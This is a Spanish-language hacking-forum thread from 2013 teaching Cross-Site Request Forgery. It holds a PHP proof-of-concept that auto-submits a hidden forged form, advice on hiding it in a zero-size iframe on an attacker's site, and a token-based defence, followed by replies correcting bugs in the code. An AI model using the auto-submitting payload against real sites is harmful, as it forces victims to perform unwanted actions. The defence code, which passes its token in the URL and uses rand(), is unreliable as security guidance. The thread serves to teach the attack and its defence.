Ataques CSRF (Cross site request forgery)

Iniciado por M5f3r0, Septiembre 03, 2013, 08:15:10 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.

Septiembre 03, 2013, 08:15:10 PM Ultima modificación: Septiembre 09, 2013, 04:15:32 PM por M5f3r0
Ejemplo de ataque CSRF

Un ataque CSRF/XSRF o Cross site request forgery vendría siendo un exploit o vulnerabilidad la cúal se da en aplicaciones web en la que el usuario víctima realiza ciertas peticiones falsificadas en aplicaciones web vulnerables, la víctima al abrir la CSRF automáticamente lograra ejecutar u/o modificar registros sin su intención.

Para poder llevarse a cabo un ataque CSRF se debe hacer uso de la ingeniería social, con la cúal podamos lograr que el usuario víctima acceda a nuestra página la cúal debe tener el csrf oculto, está se encargara de ejecutar el CSRF sin que el usuario víctima se pueda dar cuenta.

Código vulnerable

Un código vulnerable podría ser el siguiente:

pagina.html :

Código: HTML5

<form action="process.php" method="POST">
Texto: <input type="text" name="text" /><br><br>
<input type="submit" />
</form>


Como pueden observar, no hacemos ningún envío de token para tener una identificación única. Con lo cúal, nuestro formulario es vulnerable a ataques CSRF. En este caso, solo tenemos un simple formulario que no almacena ni registra nada, pero imagínense uno que sí. Sería de grave peligro.

process.php :

Código: PHP

<?php
if(isset($_POST['text']) && !empty($_POST['text'])){
echo "Hola";
}
else{
echo "Error";
}
?>


Este es solo un simple proceso, el cúal verifica si el input de texto "text" no este vacío. si es así, lanza un mensaje diciendo error.

Preparando nuestro código CSRF de ataque

Pues para preparar el escenario de ataque, el atacante necesita tener conocimientos en la programación web, ya sea PHP, JS u HTML. Aquí les presento una estructura de código en php la cúal he creado especialmente para el formulario anterior vulnerable:

Código: PHP


<?php

$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar

echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>';

?>


En este código simple, solamente ejecutamos el valor ingresado en el csrf en la página web vulnerable, identificándonos como nuestro usuario víctima.

Camuflando nuestra CSRF

Existe un método para evitar que nuestro CSRF de ataque se note sospechoso, sería camuflando nuestro código de ataque mediante el uso de HTML u algún otro lenguaje de programación web, tal como JS, jQuery, HTML, o tal vez un simple index en el que camuflamos nuestro código mediante el uso de un <iframe> en html.

Un ejemplo sería el siguiente, en el que camuflamos nuestro CSRF en una index con un iframe:

Código: HTML5

<html>
<head><title>Bienvenid@</title></head>
<body>

<h1>Bienvenid@ a mi sitio web :)</h1>

<iframe src="http://websitedelatacante.com/csrfoculto.php" width=0% height=0% />

</body>
</html>


Aunque es muy claro que este se nota muy sospechoso, es cuestión de saber HTML5 y montar una index común y corriente, para luego enviarsela a la víctima.

Defensa

Para poder defendernos de este tipo de ataques, yo recomiendo hacer uso de algún envío de un token como una sesión en php. Haciendo uso de la función session_start() , el hash md5() u sha1() para la encriptación, uniqid() para un identificador único y rand() para dar un entero aleatorio. Ejemplo:

token.php :

Código: PHP

<?php

session_start();

?>
<html>
   <head><title>Hola</title></head>
   <meta charset="utf-8">
   <body>
        <?php $_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
        echo '<form action="process.php?envio_token='.$_SESSION["envio_token"].'" method="post">';
                 echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
echo '<input type="submit" value="Ejecutar">';
        echo '</form>';
?>
   </body>
</html>


Y cómo pueden observar, tenemos un identificador único y un número aleatorio cifrado en sha1 como sesión. Y luego ejecutamos el token por el método GET.

process.php :

Código: PHP

<html>
   <head>
   <title>Proceso</title>
   </head>
   <body>
        <?php
             if($_GET["envio_token"] == $_SESSION["envio_token"]){
echo 'Se ha ejecutado el token correctamente';
    }
else{
    echo 'Error';
            }
       ?>
   </body>
</html>


Y en este proceso, comprobamos que el token que se envío por el método GET es el mismo de la sesión que tenemos iniciada. Si es así, muestra un mensaje avisando que todo se ejecuto correctamente.

Bueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post ;D.

Un saludo, M5f3r0.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)


Que excelente aporte! Se merece que sea posteado en el blog de underc0de!
Vere si lo hago en un rato! (por supuesto que con tus creditos!)

Muy buen trabajo bro! Da gusto leer aportes asi!

Saludos!
ANTRAX


CitarBueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post

aca:

Código: php
<?php

$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar

echo '<form action="'.$urlvulnerable.'/process.php" method="POST" />'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>

?>


te falto ponerle el nombre al form si no no se ejecutaria este javascript: document.csrf.submit() osea solo te falto la etiqueta name="csrf" en
<form action="'.$urlvulnerable.'/process.php" method="POST" name="csrf"> ademas no debes cerrar / al principio es decir:
<form action="'.$urlvulnerable.'/process.php" method="POST" /> por que ya esta siendo cerrada en </form>, bueno bro nada mas eso solo comente por que al final dijistes espero que no me lo tomes a mal ya sabes que yo te estimo mucho bro un saludo :P
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
CitarBueno, eso ha sido todo. Espero les haya gustado, si me equivoco en algo corrijanme y actualizo el post

aca:

Código: php
<?php

$urlvulnerable = "localhost"; // Link del sitio
$valor = "M5f3r0 was here!"; // Valor a modificar

echo '<form action="'.$urlvulnerable.'/process.php" method="POST" />'; // Ingresamos la url del formulario a ejecutar
echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
echo '</form>

?>


te falto ponerle el nombre al form si no no se ejecutaria este javascript: document.csrf.submit() osea solo te falto la etiqueta name="csrf" en
<form action="'.$urlvulnerable.'/process.php" method="POST" name="csrf"> ademas no debes cerrar / al principio es decir:
<form action="'.$urlvulnerable.'/process.php" method="POST" /> por que ya esta siendo cerrada en </form>, bueno bro nada mas eso solo comente por que al final dijistes espero que no me lo tomes a mal ya sabes que yo te estimo mucho bro un saludo :P

LOL, es cierto, me equivoque, gracias bro. Actualizado!

Un saludo.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Septiembre 04, 2013, 01:45:37 AM #5 Ultima modificación: Septiembre 04, 2013, 01:56:14 AM por HckDrk
2 errores mas! XD

a cada archivo le debes poner session_start() para crear o activar las sessiones como nuestro amigo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos dice XD, sino no nos funcionaran las sessiones! y no veo que se lo hayas puesto a los archivos xD

ademas aca

Cita de: phpecho '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';

la variable que creas se llama token y aca

Cita de: phpif($_GET["envio_token"] == $_SESSION["envio_token"]){ 

aqui tratas de obtener por get la variable "envio_token", por logica el script funcionara mal
acaso no probaste tus script bro? :/
los probé y no funcionaban xD


Aqui los que si me funcionaron

Código: php
<html>
   <head><title>Hola</title></head>
   <meta charset="utf-8">
   <body>
        <?php
session_start();
$_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
        echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
                 echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
                                 echo '<input type="submit" value="Ejecutar">';
        echo '</form>';
                ?>
   </body>
</html>


Código: php
<html>
   <head>
   <title>Proceso</title>
   </head>
   <body>
        <?php
session_start();

             if($_GET["token"] == $_SESSION["envio_token"]){       
                         echo 'Se ha ejecutado el token correctamente';
    }
        else{
    echo 'Error';
            }
       ?>
   </body>
</html>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2 errores mas! XD

a cada archivo le debes poner session_start() para crear o activar las sessiones como nuestro amigo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos dice XD, sino no nos funcionaran las sessiones! y no veo que se lo hayas puesto a los archivos xD

ademas aca

Cita de: phpecho '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';

la variable que creas se llama token y aca

Cita de: phpif($_GET["envio_token"] == $_SESSION["envio_token"]){ 

aqui tratas de obtener por get la variable "envio_token", por logica el script funcionara mal
acaso no probaste tus script bro? :/
los probé y no funcionaban xD


Aqui los que si me funcionaron

Código: php
<html>
   <head><title>Hola</title></head>
   <meta charset="utf-8">
   <body>
        <?php
session_start();
$_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
        echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
                 echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
                                 echo '<input type="submit" value="Ejecutar">';
        echo '</form>';
                ?>
   </body>
</html>


Código: php
<html>
   <head>
   <title>Proceso</title>
   </head>
   <body>
        <?php
session_start();

             if($_GET["token"] == $_SESSION["envio_token"]){       
                         echo 'Se ha ejecutado el token correctamente';
    }
        else{
    echo 'Error';
            }
       ?>
   </body>
</html>


A mí me funcionaron perfectamente con mi configuración. Pero de todas formas si tienes razón ya está actualizado.

Saludos.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Lamentablemente no pude poner todo el post completo ya que google no permite añadir la etiqueta iframe por serguridad, pero puse gran parte del post y un link para continuar leyendolo aca en el foro

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muchas gracias M5f3r0 por tu post! esta muy bueno!!

Saludos!
ANTRAX


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2 errores mas! XD

a cada archivo le debes poner session_start() para crear o activar las sessiones como nuestro amigo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos dice XD, sino no nos funcionaran las sessiones! y no veo que se lo hayas puesto a los archivos xD

ademas aca

Cita de: phpecho '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';

la variable que creas se llama token y aca

Cita de: phpif($_GET["envio_token"] == $_SESSION["envio_token"]){ 

aqui tratas de obtener por get la variable "envio_token", por logica el script funcionara mal
acaso no probaste tus script bro? :/
los probé y no funcionaban xD


Aqui los que si me funcionaron

Código: php
<html>
   <head><title>Hola</title></head>
   <meta charset="utf-8">
   <body>
        <?php
session_start();
$_SESSION["envio_token"] = sha1(uniqid(rand(), TRUE));
        echo '<form action="process.php?token='.$_SESSION["envio_token"].'" method="post">';
                 echo 'Ingrese algún texto: <input type="text" name="text"><br><br>';
                                 echo '<input type="submit" value="Ejecutar">';
        echo '</form>';
                ?>
   </body>
</html>


Código: php
<html>
   <head>
   <title>Proceso</title>
   </head>
   <body>
        <?php
session_start();

             if($_GET["token"] == $_SESSION["envio_token"]){       
                         echo 'Se ha ejecutado el token correctamente';
    }
        else{
    echo 'Error';
            }
       ?>
   </body>
</html>


A mí me funcionaron perfectamente con mi configuración. Pero de todas formas si tienes razón ya está actualizado.

Saludos.

De hecho si se debe iniciar con session_start() pero como mufero dice tambien puedes no hacerlo especificando en el php.ini No tienes permitido ver los links. Registrarse o Entrar a mi cuenta_start = 1 con el valor 1 (true) :p
Asi que en realidad los dos tienen razon, salu2 :P
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Gracias por tu mensaje, Arthusu. Usted ha explicado bien el asunto.

Saludos.

En
Código: php
     
    <?php
     
    $urlvulnerable = "localhost"; // Link del sitio
    $valor = "M5f3r0 was here!"; // Valor a modificar
     
   [b] echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar[/b]
    echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
    echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
    echo '</form>';
     
    ?>
     

Falta poner http:// delante por que sino lo coge como una carpeta y entonces va a localhost/localhost/process.php por lo que quedaría así echo '<form action="'http://.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar

otra cosa, probe lo del post y no puedo hacer que el "exploit" funcione.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Saludos.

En
Código: php
     
    <?php
     
    $urlvulnerable = "localhost"; // Link del sitio
    $valor = "M5f3r0 was here!"; // Valor a modificar
     
   [b] echo '<form action="'.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar[/b]
    echo '<input type="hidden" value="'.$valor.'" name="text" />'; // Ingresamos el nombre del input y el valor a ingresar.
    echo '<body onload="document.csrf.submit();">'; // Ejecutamos el documento con el script "document.csrf.submit();"
    echo '</form>';
     
    ?>
     

Falta poner http:// delante por que sino lo coge como una carpeta y entonces va a localhost/localhost/process.php por lo que quedaría así echo '<form action="'http://.$urlvulnerable.'/process.php" name="csrf" method="POST">'; // Ingresamos la url del formulario a ejecutar

otra cosa, probe lo del post y no puedo hacer que el "exploit" funcione.

No sé porque dicen que no les funciona, con mi configuración a mi me corría perfectamente sin error alguno.

Saludos.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)